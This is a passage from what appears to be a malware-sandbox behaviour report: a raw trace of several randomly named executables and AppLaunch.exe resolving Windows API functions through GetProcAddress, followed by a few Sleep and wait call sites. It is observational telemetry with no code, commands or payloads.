"GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter SendMessageTimeoutW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter AllowSetForegroundWindow (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00005628) "1SX49Ye8.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005628) "2QO3391.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001184) "2QO3391.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001184) "2QO3391.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001184) "2QO3391.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001184) "2QO3391.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001184) "7xN51gn.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003420) "7xN51gn.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003420) "8Cg883Yu.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003848) "8Cg883Yu.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003848) "8Cg883Yu.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003848) "8Cg883Yu.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003848) "8Cg883Yu.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003848) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003236) "9zc6iD1.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003368) "9zc6iD1.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003368) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction035 (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWSAProtocolInfo (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWinsockMapping (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlCombineA (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAStringToAddressA (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter SpUserModeInitialize (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00002532) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002532)41:T61b,Sleep@KERNEL32.DLL at 00000000-00005792-35075-11-00946A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00005792-35075-37-00943FEF MsgWaitForMultipleObjects at 00000000-00005792-35075-95-00943680 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00005628-36138-347-00BB02D6 Sleep@KERNEL32.DLL at 00000000-00005628-36138-521-00B9D760 Sleep@KERNEL32.DLL at 00000000-00005628-36138-541-00C279AB Sleep@KERNEL32.DLL at 00000000-00005628-36138-548-00BFBE52 Sleep@KERNEL32.DLL at 